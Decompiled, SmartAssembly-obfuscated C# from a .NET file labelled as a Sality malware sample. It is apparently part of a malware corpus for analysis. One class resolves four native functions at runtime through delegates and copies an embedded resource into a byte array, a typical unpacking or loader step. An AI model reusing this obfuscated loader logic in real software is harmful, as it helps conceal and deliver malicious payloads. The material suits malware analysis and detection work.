// Decompiled with JetBrains decompiler // Type: . // Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe using \u0006; using \u0007; using \u0008; using SmartAssembly.SmartExceptionsCore; using System; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; namespace \u0007 { internal sealed class \u0005 : \u0001 { private \u0005.\u0002 \u0001; private \u0005.\u0001 \u0001; private \u0005.\u0004 \u0001; private \u0005.\u0003 \u0001; [MethodImpl(MethodImplOptions.NoInlining)] public \u0005() { \u0003.\u0003(); // ISSUE: explicit constructor call base.\u002Ector(); object[] objArray1; object[] objArray2; object[] objArray3; object[] objArray4; try { \u0005.\u0001 = (\u0001) new \u0001(); \u0001 obj1 = \u0005.\u0001; objArray1 = new object[3] { (object) \u0002.\u0003(374), (object) \u0002.\u0003(394), (object) typeof (\u0005.\u0002) }; object[] objArray5 = objArray1; this.\u0001 = (\u0005.\u0002) obj1.\u0003(objArray5); \u0001 obj2 = \u0005.\u0001; objArray2 = new object[3] { (object) \u0002.\u0003(424), (object) \u0002.\u0003(444), (object) typeof (\u0005.\u0001) }; object[] objArray6 = objArray2; this.\u0001 = (\u0005.\u0001) obj2.\u0003(objArray6); \u0001 obj3 = \u0005.\u0001; objArray3 = new object[3] { (object) \u0002.\u0003(472), (object) \u0002.\u0003(492), (object) typeof (\u0005.\u0004) }; object[] objArray7 = objArray3; this.\u0001 = (\u0005.\u0004) obj3.\u0003(objArray7); \u0001 obj4 = \u0005.\u0001; objArray4 = new object[3] { (object) \u0002.\u0003(520), (object) \u0002.\u0003(540), (object) typeof (\u0005.\u0003) }; object[] objArray8 = objArray4; this.\u0001 = (\u0005.\u0003) obj4.\u0003(objArray8); } catch (Exception ex) { object[] objArray9 = objArray1; object[] objArray10 = objArray2; object[] objArray11 = objArray3; object[] objArray12 = objArray4; throw UnhandledException.\u0003(ex, (object) objArray9, (object) objArray10, (object) objArray11, (object) objArray12, (object) this); } } [MethodImpl(MethodImplOptions.NoInlining)] public override object \u0003([In] object[] obj0) { IntPtr num1; IntPtr num2; IntPtr source; int length; byte[] destination; try { destination = new byte[0]; object obj; try { num1 = this.\u0001(IntPtr.Zero, (IntPtr) (int) obj0[0], (IntPtr) 4); num2 = this.\u0001(IntPtr.Zero, num1); source = this.\u0001(num2); length = this.\u0001(IntPtr.Zero, num1); destination = new byte[length]; Marshal.Copy(source, destination, 0, length); } catch { obj = (object) destination; goto label_4; } return (object) destination; label_4: return obj; } catch (Exception ex) { byte[] numArray = destination; // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) source; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) length; object obj1; object obj2 = obj1; object[] objArray = obj0; throw UnhandledException.\u0003(ex, (object) numArray, (object) local1, (object) local2, (object) local3, (object) local4, obj2, (object) this, (object) objArray); } } private delegate IntPtr \u0001(IntPtr _param1, IntPtr _param2); private delegate IntPtr \u0002(IntPtr _param1, IntPtr _param2, IntPtr _param3); private delegate int \u0003(IntPtr _param1, IntPtr _param2); private delegate IntPtr \u0004(IntPtr _param1); } }